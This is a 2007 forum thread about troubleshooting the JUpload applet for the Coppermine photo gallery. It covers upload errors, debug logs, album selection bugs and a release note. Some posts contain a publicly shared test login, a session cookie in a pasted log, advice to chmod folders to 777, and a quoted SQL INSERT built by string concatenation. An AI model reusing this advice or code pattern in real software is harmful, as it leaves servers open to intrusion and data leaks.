Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 06, 2007, 10:31:06 am
In my album list view, the Size of thumbnails in pixels is set at 50 px.

In my files and thumbnail settings, my maximum dimension of thumbnail is set at 220 px and the Max width or height of an intermediate picture/video  is 600 px.

Since my editpics page displays the picture at 600px width, it seems therefore the picture displayed is actually the intermediate picture and not the thumbnail.

Like erostew said, JUpload doesn't contain any configuration parameter for thumb size: it uses extract from standard code.

  But several users complain that thumb are not displayed correctly, after an upload from JUpload. I can't repeat it... so I can't correct it.

   Can I really upload pictures to your web site, to test that ?  (I'll try to upload not to strange pictures  ;) )

Etienne
Title: Re: Upload applet (JUpload)
Post by: niwde on November 06, 2007, 01:50:59 pm
Hi Etienne,
 
I'm experiencing error when using Jupload on coppermine. The normal upload (one file at a time work well)
 
Keeps getting the error. "The previous file could not be placed.3" "No file were uploaded"
 
I've created a test account as follows:
 
My website is http://elitefc.free-web-hosting.biz/coppermine/
Test User details:
Username: test
Password: test
 
Please help. I've tried everything.
Title: Re: Upload applet (JUpload)
Post by: erostew on November 06, 2007, 09:27:12 pm
Thanks erostew.

But I'm still confused.  ???

In my album list view, the Size of thumbnails in pixels is set at 50 px.

In my files and thumbnail settings, my maximum dimension of thumbnail is set at 220 px and the Max width or height of an intermediate picture/video  is 600 px.

Since my editpics page displays the picture at 600px width, it seems therefore the picture displayed is actually the intermediate picture and not the thumbnail.

Am I correct ? or is this way coppermine is configured?

You defintely seem to have some kind of config issue happening. Do you have any mods or plugins installed that might cause some kind of conflict? If so try disabling to see if it helps.

Do you have the latest CPG (1.4.13) installed? The latest JUpload?

Maybe run update.php from the admin tools and then "check file versions" to make sure your database and files are up to date.

That's about it for my ideas.  ???
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 07, 2007, 07:11:10 pm
I'm experiencing error when using Jupload on coppermine. The normal upload (one file at a time work well)
 
Keeps getting the error. "The previous file could not be placed.3" "No file were uploaded"

???

1) What do you call 'standard upload': this page doesn't seem to be the standard upload form, as you can select the album on the first 'standard upload' page.
2) From a short code analysis, the error seems to occurs because the INSERT below didn't work into the database. Did you change anything there ?

INSERT INTO {$CONFIG['TABLE_PICTURES']} (aid, filepath, filename, filesize, total_filesize, pwidth, pheight, ctime, owner_id, owner_name, title, caption, keywords, approved, user1, user2, user3, user4, pic_raw_ip, pic_hdr_ip, position) VALUES ('{$CURRENT_PIC_DATA['aid']}', '" . addslashes($CURRENT_PIC_DATA['filepath']) . "', '" . addslashes($CURRENT_PIC_DATA['filename']) . "', '{$CURRENT_PIC_DATA['filesize']}', '{$CURRENT_PIC_DATA['total_filesize']}', '{$CURRENT_PIC_DATA['pwidth']}', '{$CURRENT_PIC_DATA['pheight']}', '" . time() . "', '{$CURRENT_PIC_DATA['owner_id']}', '{$CURRENT_PIC_DATA['owner_name']}','{$CURRENT_PIC_DATA['title']}', '{$CURRENT_PIC_DATA['caption']}', '{$CURRENT_PIC_DATA['keywords']}', '{$CURRENT_PIC_DATA['approved']}', '{$CURRENT_PIC_DATA['user1']}', '{$CURRENT_PIC_DATA['user2']}', '{$CURRENT_PIC_DATA['user3']}', '{$CURRENT_PIC_DATA['user4']}', '{$CURRENT_PIC_DATA['pic_raw_ip']}', '{$CURRENT_PIC_DATA['pic_hdr_ip']}', '{$CURRENT_PIC_DATA['position']}'

Etienne
Title: JUpload for Coppermine release 2.6.4
Post by: etienne_sf on November 10, 2007, 03:33:34 pm
Hi,

  Here is the release note for the 2.6.4 new JUpload version

You can access to this release by direct download from this link:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=9032


or from my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb


Change note:
Fixes:
- [Major] The applet is now (again) compiled for JRE 1.5 (compatible with 1.6, wich is the current last version).
- [Major] When manually deploying the applet by FTP, there may be problems with carriage return, which would
prevent the upload to work properly.
- [Minor] Non ASCII characters (accents) are now correctly displayed in error messages, due to upload.
- [Minor] Removal of the extra number (debug info) was display in the category list, after 2.6.3.
- [Minor] The whole applet is now a target where you can drop files to.
- [Minor] When an error occurs, the error message was displayed three times (including useless technical info)
Title: Re: Upload applet (JUpload)
Post by: erostew on November 10, 2007, 07:01:16 pm
Just tried out the new version and seems to be working just great with my previous settings. No problems to upload 216 photos. Didn't try changing false/true for metadata again yet.

I see in the ToDo of the release notes that you put studying to make the app compatible with Stramm's ModPack. Just to let you know, I recently checked out CPG 1.5 from the SVN repository and it appears that most (all?) of the modifications in that pack have been integrated into the core. So integration with the ModPack would give you a big jump on compatibility with CPG 1.5.

I tried to test a few things with the current 1.5 but couldn't get it to work. It installed okay for me, but would generate a lot of errors when attempting to write to the database, so it wasn't possible to install any plugins, change any configuration, add albums, etc. When I tried adding albums, pics etc. directly to the database it showed the additions correctly, so it was reading ok, just couldn't write. You might have better luck with that if you want to try testing JUpload against CPG 1.5.

Regards, and of course thanks for all your fine work to date!
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 11, 2007, 04:15:09 pm
I see in the ToDo of the release notes that you put studying to make the app compatible with Stramm's ModPack. Just to let you know, I recently checked out CPG 1.5 from the SVN repository and it appears that most (all?) of the modifications in that pack have been integrated into the core. So integration with the ModPack would give you a big jump on compatibility with CPG 1.5.

I tried to test a few things with the current 1.5 but couldn't get it to work. It installed okay for me, but would generate a lot of errors when attempting to write to the database, so it wasn't possible to install any plugins, change any configuration, add albums, etc. When I tried adding albums, pics etc. directly to the database it showed the additions correctly, so it was reading ok, just couldn't write. You might have better luck with that if you want to try testing JUpload against CPG 1.5.

I'll try 1.5, one day or another, and check compatibility with it ...

;-)

Etienne
Title: Re: Upload applet (JUpload)
Post by: evilmaster on November 12, 2007, 09:37:16 am
I'm having some problems and cannot get JUpload to work.

Code: [Select]
09:35:54.765 [INFO] Debug level set to 0
09:35:54.781 [INFO] Current debug output file: C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt
09:35:54.781 [WARN] Invalid int value: true, using default value: 0
09:35:54.937 [INFO] JUpload plugin for coppermine version 2.6.4
09:36:06.750 [INFO] Debug level set to 1
09:36:06.750 [INFO] Current debug output file: C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt
09:36:09.203 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: The previous file could not be placed.3 (The previous file could not be placed.3)
09:36:09.203 wjhk.jupload2.exception.JUploadExceptionUploadFailed: The previous file could not be placed.3
09:36:09.203 at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:583)
09:36:09.203 at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:731)
09:36:09.203 at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:486)
09:36:10.593 [WARN] CoppermineUploadPolicy.afterUpload: No file were uploaded! (0)

I have the CPGMark plugin installed, could it be this that is causing the problem?

Edit: I tried to disable the CPGMark plugin and i still get the same error. I'm using the latest Coppermine version (1.4.14)
Title: Re: Upload applet (JUpload)
Post by: erostew on November 12, 2007, 07:32:01 pm

09:35:54.781 [INFO] Current debug output file: C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt
09:35:54.781 [WARN] Invalid int value: true, using default value: 0
09:35:54.937 [INFO] JUpload plugin for coppermine version 2.6.4
09:36:06.750 [INFO] Debug level set to 1
09:36:06.750 [INFO] Current debug output file: C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt

Can you attach the log file C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt ?

It might give some more information. At first glance it looks like something in coppermine config is saying it can't upload what you want. Might be filesize too big or pic dimensions too big. If the pic needs resizing make sure you set that in the JUpload config so that it resizes before upload. That will make sure the filesize is smaller also.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 12, 2007, 10:18:15 pm
I'm having some problems and cannot get JUpload to work.

I have the CPGMark plugin installed, could it be this that is causing the problem?

Edit: I tried to disable the CPGMark plugin and i still get the same error. I'm using the latest Coppermine version (1.4.14)

In addition to erostew response: I'll try the CPGMark plugin. But it will probably occur next week only.

Etienne
Title: Re: Upload applet (JUpload)
Post by: erostew on November 13, 2007, 12:24:46 am
I had CPGmark installed at the same time as JUpload before and didn't seem to cause a problem. But that plugin has never been given a final release and the original developer disappeared so I had some probs with the actual CPGmark plugin and ended up removing it.

Shouldn't cause any problems for JUpload but you never know.
Title: Re: Upload applet (JUpload)
Post by: niwde on November 13, 2007, 06:49:18 am
???

1) What do you call 'standard upload': this page doesn't seem to be the standard upload form, as you can select the album on the first 'standard upload' page.
2) From a short code analysis, the error seems to occurs because the INSERT below didn't work into the database. Did you change anything there ?

INSERT INTO {$CONFIG['TABLE_PICTURES']} (aid, filepath, filename, filesize, total_filesize, pwidth, pheight, ctime, owner_id, owner_name, title, caption, keywords, approved, user1, user2, user3, user4, pic_raw_ip, pic_hdr_ip, position) VALUES ('{$CURRENT_PIC_DATA['aid']}', '" . addslashes($CURRENT_PIC_DATA['filepath']) . "', '" . addslashes($CURRENT_PIC_DATA['filename']) . "', '{$CURRENT_PIC_DATA['filesize']}', '{$CURRENT_PIC_DATA['total_filesize']}', '{$CURRENT_PIC_DATA['pwidth']}', '{$CURRENT_PIC_DATA['pheight']}', '" . time() . "', '{$CURRENT_PIC_DATA['owner_id']}', '{$CURRENT_PIC_DATA['owner_name']}','{$CURRENT_PIC_DATA['title']}', '{$CURRENT_PIC_DATA['caption']}', '{$CURRENT_PIC_DATA['keywords']}', '{$CURRENT_PIC_DATA['approved']}', '{$CURRENT_PIC_DATA['user1']}', '{$CURRENT_PIC_DATA['user2']}', '{$CURRENT_PIC_DATA['user3']}', '{$CURRENT_PIC_DATA['user4']}', '{$CURRENT_PIC_DATA['pic_raw_ip']}', '{$CURRENT_PIC_DATA['pic_hdr_ip']}', '{$CURRENT_PIC_DATA['position']}'

Etienne

1) The standard upload is the Coppermine default upload page.
2) Did not changed anything with Jupload or Coppermine. Wish I had the knowledge through.
3) I've upgraded to the new version of Jupload but the problem still exist.

Thanks.
Title: Re: Upload applet (JUpload)
Post by: evilmaster on November 13, 2007, 07:12:52 am
Can you attach the log file C:\DOCUME~1\EVILMA~1\LOKALA~1\Temp\jupload_7296_log.txt ?

It might give some more information. At first glance it looks like something in coppermine config is saying it can't upload what you want. Might be filesize too big or pic dimensions too big. If the pic needs resizing make sure you set that in the JUpload config so that it resizes before upload. That will make sure the filesize is smaller also.

Couldn't find jupload_7296_log.txt, but I had a bunch of other numbered files and they all contained this message:

Quote
08:50:24.093 [DEBUG] Within PicturePanel.finalize()

What does it all mean?
It doesn't seem to be because of the dimension or filesize, I tried to upload really small files too. :\
Title: Re: Upload applet (JUpload)
Post by: erostew on November 13, 2007, 09:25:42 am
Couldn't find jupload_7296_log.txt, but I had a bunch of other numbered files and they all contained this message:

08:50:24.093 [DEBUG] Within PicturePanel.finalize()

What does it all mean?
It doesn't seem to be because of the dimension or filesize, I tried to upload really small files too. :\
That's just a normal message as the applet goes about it's business I think. The applet creates a log every time you upload or try to upload. You can try attaching any one that you find in your temp folder if you want. They should all have similar error messages if you haven't managed a successful upload.

One more thing: check that your coppermine albums folder and all folders inside it are chmodded correctly. In most cases that would be 777 to allow writing but some servers need 755. Specifically check the editpics folder. That's where JUpload stores the uploaded files.

Also check that the normal coppermine upload is working correctly.
Title: Re: Upload applet (JUpload)
Post by: erostew on November 13, 2007, 09:51:35 am
1) The standard upload is the Coppermine default upload page.
2) Did not changed anything with Jupload or Coppermine. Wish I had the knowledge through.
3) I've upgraded to the new version of Jupload but the problem still exist.

Thanks.

1.) Since you should upgrade to CPG 1.4.14 anyway for a security bugfix: Try deleting all your files except for includes/config.inc.php and your albums folder. Also leave any themes or custom graphics, etc. you might use that are not part of the Then upload the files from the latest CPG 1.4.14 . I've noticed occasionally on my own server that overwriting doesn't always seem to work when you upload. Then run update.php and check your file versions again.

2.) You can try disabling all other plugins to see if there is a conflict.

3.) Try using a different theme.

4.) I notice that your webhost adds "Hosting is powered by Free Web Hosting" at the bottom of your page. It also adds the closing body and html tags after that. So there are 2 sets of closing tags. That shouldn't affect anything, but you never know. Maybe you can go into your themes/**your_theme**/template.html file and try deleting
Code: [Select]
</body>
</html>
since your host adds it anyway. That might make some difference but it's kind of doubtful.

Those are the only ideas I have. Good luck.

Regards
Title: Re: Upload applet (JUpload)
Post by: evilmaster on November 13, 2007, 10:19:03 am
That's just a normal message as the applet goes about it's business I think. The applet creates a log every time you upload or try to upload. You can try attaching any one that you find in your temp folder if you want. They should all have similar error messages if you haven't managed a successful upload.

One more thing: check that your coppermine albums folder and all folders inside it are chmodded correctly. In most cases that would be 777 to allow writing but some servers need 755. Specifically check the editpics folder. That's where JUpload stores the uploaded files.

Also check that the normal coppermine upload is working correctly.

My albums folder is chmodded to 777 and the normal upload works as it should, JUpload still doesn't work however.  :-\
Title: Re: Upload applet (JUpload)
Post by: erostew on November 13, 2007, 06:25:15 pm
My albums folder is chmodded to 777 and the normal upload works as it should, JUpload still doesn't work however.  :-\

Since you don't provide a log or a url/test account it isn't really possible to help you anymore. Good luck.
Title: Re: Upload applet (JUpload)
Post by: evilmaster on November 14, 2007, 07:13:07 am
Since you don't provide a log or a url/test account it isn't really possible to help you anymore. Good luck.

I think that I misunderstood what you said earlier, but I have sent you a PM with the login details now.
Thank you for all your help, it's really appreciated!
Title: Re: Upload applet (JUpload)
Post by: erostew on November 14, 2007, 10:52:58 am
I think that I misunderstood what you said earlier, but I have sent you a PM with the login details now.
Thank you for all your help, it's really appreciated!
I found that the jupload config for uploaded photos did not exactly match the coppermine upload policy for uploads so I made a couple of changes to the jupload config. After that I tried an upload and it failed. I tried with a photo that needed resizing and one that didn't.I also tried with metadata set to default and then set to false. No Luck. Normal upload worked correctly. All coppermine files list as having the correct version numbers.

The only thing I found that might indicate a problem: When uploading with the normal CPG upload I could select any album so I uploaded to an album I created with no category. When uploading with JUpload I had only the option to upload to the personal albums category, so I created an album and tried to upload.

All other albums on the site were "no category" albums, but I couldn't select any "no category" album in the JUpload page. Not sure if this is some kind of permissions issue or a limitation in the JUpload plugin.

So unfortunately I couldn't figure out the problem, but I did save a log file so that Etienne may be able to get a clue to the problem. It is attached here with server and username info removed.

Sorry I couldn't help more.

Regards
Title: Re: Upload applet (JUpload)
Post by: evilmaster on November 14, 2007, 11:03:19 am
So unfortunately I couldn't figure out the problem, but I did save a log file so that Etienne may be able to get a clue to the problem. It is attached here with server and username info removed.

Sorry I couldn't help more.

Regards

Thanks for trying though... I guess we'll have to continue using the XP Publishing Wizard for the time being.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 16, 2007, 02:08:04 pm
Thanks for trying though... I guess we'll have to continue using the XP Publishing Wizard for the time being.

Hi,

  Sorry for answering only now, and thanks to erostew for the help given. But I'm really busy these days...

FYI: the message 'run().finally' is perfectly normal (means the applet entered an erea where it will free some used memory).

If my first analysis is correct, the INSERT doesn't work. You should have an error in the log. Can you give me the URL and password, by PM. I'll go there.

Etienne
Title: Re: Upload applet (JUpload)
Post by: World-Charmed on November 16, 2007, 11:58:42 pm
Hey,
I have problems with JUpload and I don't understand why.

My debug log is too big to post it here so I put it on the end of this thread!

I hope you can help me. Thanks!
Title: Re: Upload applet (JUpload)
Post by: Nibbler on November 17, 2007, 12:13:42 am
Probably caused by the bridge; vb's session cookie is not being sent to Coppermine by jUpload so it can't recognise you. Try allowing anonymous uploading on the groups page.
Title: Re: Upload applet (JUpload)
Post by: searchforme on November 17, 2007, 05:56:29 am
latest version dont work for me for uploading.. : Personal Gallery (0) album(s)) ; Select Album ;

no ablums to select. even tho i got 10+ albums to select.

why does it say i have 0 albums etc. version 2.6.1 worked
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 17, 2007, 09:43:52 am
Hey,
I have problems with JUpload and I don't understand why.

My debug log is too big to post it here so I put it on the end of this thread!

I hope you can help me. Thanks!

I had the same problem, on my demo site. The session is lost by the applet, and Coppermine answers to upload by a page explaining the you're not connected.

Which version of JUpload do you use ?

Two possible reasons:
- If you're using FTP to install the applet, it may be badly installed. Trying binary FTP transfert.
- If not, Do you use a proxy ? Perhaps the applet goes through a proxy, and the navigator not ?

I think you've posted me the URL and a login/password. But I let my laptop at work. Can you post me them by PM ?

Etienne
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on November 17, 2007, 11:34:48 am
latest version dont work for me for uploading.. : Personal Gallery (0) album(s)) ; Select Album ;

no ablums to select. even tho i got 10+ albums to select.

why does it say i have 0 albums etc. version 2.6.1 worked

Hum,


- Can you upload to these personal albums from standard upload ?
- Are you connected as an admin, or as a registered user ?
- If as an admin: on the group page, are admin allowed to have personal albums ?

Etienne
Title: Re: Upload applet (JUpload)
Post by: Phill Luckhurst on November 17, 2007, 05:21:19 pm
There is a slight problem I noticed with the latest version. If albums have been placed in no category they will not appear as valid locations for upload. Move them into a named category and you can then upload to them.
Title: Re: Upload applet (JUpload)
Post by: Cirno on November 18, 2007, 12:00:23 am
First of all, I have to say thank you for a very good plugin that makes Coppermine a much better product in total.

I really love the jupload plugin, but I am missing one feature that would make it all perfect.

After uploading the files, it takes you to the 'Edit files' section, where you can fill in the Describtion keywords and custom fields, I would love to see a feature that would allow me to type in this information one place, to then have it added to all the pictures i just uploaded. The reason for this is because some of my custom fields are photographer and location, something that in my case is the same for each bulk i upload.

Is there any chance to get such a feature in a future version?

Best regards
Cirno
Title: Re: Upload applet (JUpload)
Post by: World-Charmed on November 18, 2007, 12:16:16 am
I had the same problem, on my demo site. The session is lost by the applet, and Coppermine answers to upload by a page explaining the you're not connected.

Which version of JUpload do you use ?

Two possible reasons:
- If you're using FTP to install the applet, it may be badly installed. Trying binary FTP transfert.
- If not, Do you use a proxy ? Perhaps the applet goes through a proxy, and the navigator not ?

I think you've posted me the URL and a login/password. But I let my laptop at work. Can you post me them by PM ?

Etienne
Etienne

Hey,
I uploaded it with a binary FTP transfert but it is the same error too. I don't use a proxy. The applet through a proxy? How should it work? I don't edit the files so when it is not standart it should not be the problem?!

I send you the login/password by PN!

Thanks


World-Charmed
Title: Re: Upload applet (JUpload)
Post by: searchforme on November 18, 2007, 04:15:58 am
Hum,


- Can you upload to these personal albums from standard upload ?
- Are you connected as an admin, or as a registered user ?
- If as an admin: on the group page, are admin allowed to have personal albums ?

Etienne


- Can you upload to these personal albums from standard upload ? Yes.
- Are you connected as an admin, or as a registered user ? Yes.
- If as an admin: on the group page, are admin allowed to have personal albums ? Yes.

as i see what phil104 has just wrote. maybe that has something to do with it?, but i wouldnt want to do that tho.. & right now jupload v2.6.1 , works soo good for me.


There is a slight problem I noticed with the latest version. If albums have been placed in no category they will not appear as valid locations for upload. Move them into a named category and you can then upload to them.
Title: Re: Upload applet (JUpload)
Post by: sanghino on November 20, 2007, 08:00:45 pm
hi i have a problem with jupload but i don't know the solution can anyone help me, here there is the log of jupload
Code: [Select]
19:24:01.482 [INFO] Debug level set to 0
19:24:01.486 [INFO] Current debug output file: C:\Users\Riccardo\AppData\Local\Temp\jupload_16145_log.txt
19:24:01.489 [WARN] Invalid int value: true, using default value: 0
19:24:01.789 [WARN] Invalid int value: , using default value: 0
19:24:01.791 [INFO] JUpload plugin for coppermine version 2.6.4
19:24:42.051 [INFO] Debug level set to 100
19:24:42.051 [INFO] Current debug output file: C:\Users\Riccardo\AppData\Local\Temp\jupload_16145_log.txt
19:24:42.055 [DEBUG] =======================================================================
19:24:42.057 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
19:24:42.058 [INFO] JUpload applet, version 3.2.0 [SVN-Rev: 389] (compiled: 11/10/2007 11:57 AM), available at http://jupload.sourceforge.net/
19:24:42.060 [DEBUG] Java version: 1.6.0
19:24:42.060 [DEBUG] Cookie: coppermine_data=YTo0OntzOjI6IklEIjtzOjMyOiI5ZDM2NzQ3OGY2YWQ5NDUxZmJmNjA0ZDU2NjcyMDJlOSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo3OiJpdGFsaWFuIjtzOjM6ImxpdiI7YTowOnt9fQ%3D%3D; 0844567864b6cb2a1ae024ca0edccea8=7fb27f0f5d66ce78c2929ef0af2d3cff
19:24:42.063 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 6.0; it; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
19:24:42.063 [DEBUG] List of all applet parameters:
19:24:42.064 [DEBUG]   language: it
19:24:42.064 [DEBUG]   country:
19:24:42.065 [DEBUG] afterUploadURL: null
19:24:42.065 [DEBUG] allowHttpPersistent: false
19:24:42.066 [DEBUG] allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
19:24:42.066 [DEBUG] debugLevel: 100 (debugfile: C:\Users\Riccardo\AppData\Local\Temp\jupload_16145_log.txt)
19:24:42.067 [DEBUG] fileChooserIconFromFileContent: 0
19:24:42.067 [DEBUG] fileChooserIconSize: 50
19:24:42.068 [DEBUG] filenameEncoding: null
19:24:42.069 [DEBUG] lang: it
19:24:42.069 [DEBUG] maxChunkSize: 1024000
19:24:42.070 [INFO] maxFileSize: 8192000
19:24:42.070 [DEBUG] nbFilesPerRequest: 1
19:24:42.071 [DEBUG] postURL: http://sanghino.freeweb7.com/coppermine/index.php?file=jupload/jupload&action=add_picture
19:24:42.072 [DEBUG] serverProtocol: HTTP/1.1
19:24:42.072 [DEBUG] showLogWindow: false
19:24:42.073 [DEBUG] showStatusbar: true
19:24:42.073 [DEBUG] specificHeaders: null
19:24:42.073 [DEBUG] stringUploadSuccess: ^SUCCESS$
19:24:42.074 [DEBUG] stringUploadError: ^ERROR: (.*)$
19:24:42.075 [DEBUG] urlToSendErrorTo: http://sanghino.freeweb7.com/coppermine/index.php?file=jupload/jupload&action=log_error
19:24:42.075 [DEBUG]
19:24:42.076 [DEBUG] ======= Parameters managed by PictureUploadPolicy
19:24:42.076 [DEBUG] fileChooserImagePreview: true
19:24:42.077 [DEBUG] highQualityPreview : false
19:24:42.077 [DEBUG] pictureCompressionQuality : 0.8
19:24:42.078 [DEBUG] pictureTransmitMetadata : true
19:24:42.078 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
19:24:42.078 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
19:24:42.079 [DEBUG] storeBufferedImage : false
19:24:42.079 [DEBUG] targetPictureFormat : null
19:24:42.080 [DEBUG]
19:24:42.080 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
19:24:42.083 [DEBUG] albumId : 0
19:24:42.084 [DEBUG]
19:24:46.463 [DEBUG] Action : Sfoglia...
19:24:46.505 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Documents\1677_LIBRO CALCIO A 5 E A 7.doc
19:24:46.506 [DEBUG] JUploadFileView.execute: creating the executorService
19:24:46.517 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Documents\Lista DVD.xls
19:24:46.518 [DEBUG] In IconWorker.loadIcon(1677_LIBRO CALCIO A 5 E A 7.doc)
19:24:46.519 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Documents\psw ftp.txt
19:24:46.599 [DEBUG] In IconWorker.loadIcon(Lista DVD.xls)
19:24:46.654 [DEBUG] In IconWorker.loadIcon(psw ftp.txt)
19:24:51.610 [DEBUG] [JUploadFileView] Directory changed
19:24:51.610 [DEBUG] Shutting down all IconWorker running jobs
19:24:51.611 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:24:54.589 [DEBUG] [JUploadFileView] Directory changed
19:24:54.590 [DEBUG] Shutting down all IconWorker running jobs
19:24:54.590 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:24:54.664 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\1170915454_b1478265ff.jpg
19:24:54.664 [DEBUG] In IconWorker.loadIcon(1170915454_b1478265ff.jpg)
19:24:54.665 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\Cattura.JPG
19:24:54.811 [DEBUG] In IconWorker.loadIcon(Cattura.JPG)
19:25:03.118 [DEBUG] [JUploadFileView] Directory changed
19:25:03.119 [DEBUG] Shutting down all IconWorker running jobs
19:25:03.120 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:25:05.371 [DEBUG] [JUploadFileView] Directory changed
19:25:05.371 [DEBUG] Shutting down all IconWorker running jobs
19:25:05.372 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:25:06.436 [DEBUG] [JUploadFileView] Directory changed
19:25:06.439 [DEBUG] Shutting down all IconWorker running jobs
19:25:06.439 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:25:06.455 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2295.JPG
19:25:06.455 [DEBUG] In IconWorker.loadIcon(IMG_2295.JPG)
19:25:06.456 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2296.JPG
19:25:06.456 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2297.JPG
19:25:06.457 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2298.JPG
19:25:06.457 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2299.JPG
19:25:06.458 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2300.JPG
19:25:06.458 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2301.JPG
19:25:06.459 [DEBUG] [JUploadFileView.execute] Adding C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2303.JPG
.....
19:25:07.719 [DEBUG] In IconWorker.loadIcon(IMG_2296.JPG)
19:25:08.163 [DEBUG] LoadImageThread.start (start)
19:25:08.371 [DEBUG] Creation of the DefaultFileData for C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2295.JPG(root: C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON)
19:25:08.388 [DEBUG] Mime types list loaded Ok (/conf/mimetypes.properties)
19:25:08.524 [DEBUG] isPicture=true (IMG_2295.JPG), extension=JPG
19:25:08.548 [DEBUG] Shutting down all IconWorker running jobs
19:25:08.548 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\MVI_2377.AVI
19:25:08.549 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\MVI_2376.AVI
19:25:08.549 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\MVI_2384.AVI...
19:25:08.718 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2315.JPG
19:25:08.718 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2297.JPG
19:25:08.718 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2299.JPG
19:25:08.719 [DEBUG]    Shutting down C:\Users\Riccardo\Pictures\2007-11-14 Firenze Novembre 2007\DCIM\100CANON\IMG_2298.JPG
19:25:08.719 [DEBUG] All IconWorker running jobs are now marked as stopped.
19:25:09.017 [DEBUG] LoadImageThread.start (end)
19:25:12.632 [DEBUG] Action : Carica
19:25:15.990 [DEBUG] Action : Rimuovi selezionati
19:25:29.225 [DEBUG] Post URL (modified in CoppermineUploadPolicy) = http://sanghino.freeweb7.com/coppermine/index.php?file=jupload/jupload&action=add_picture&album=2
19:25:40.390 [DEBUG] Action : Carica
19:25:40.401 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
19:25:40.402 [DEBUG] Timer started
19:25:40.429 [DEBUG] PicturePanel.paint(): offscreenImage is null
19:25:41.255 [DEBUG] freeMemory (after hasToTransformPicture) : 57741480
19:25:41.256 [DEBUG] IMG_2295.JPG : hasToTransformPicture = true (rotatedWidth > maxWidth)
19:25:41.261 [WARN] PictureFileData.getTransformedPictureFile(): temp file already exists C:\Users\Riccardo\AppData\Local\Temp\jupload_16146.tmp)
19:25:41.262 [DEBUG] Using temp file C:\Users\Riccardo\AppData\Local\Temp\jupload_16146.tmp for IMG_2295.JPG
19:25:41.263 [DEBUG] freeMemory (after start of getBufferedImage) : 57062824
19:25:41.833 [DEBUG] Resizing picture(using standard quality picture)
19:25:41.840 [DEBUG] bufferedImage.getColorModel(): ColorModel: #pixelBits = 24 numComponents = 3 color space = java.awt.color.ICC_ColorSpace@5bcd91 transparency = 1 has alpha = false isAlphaPre = false
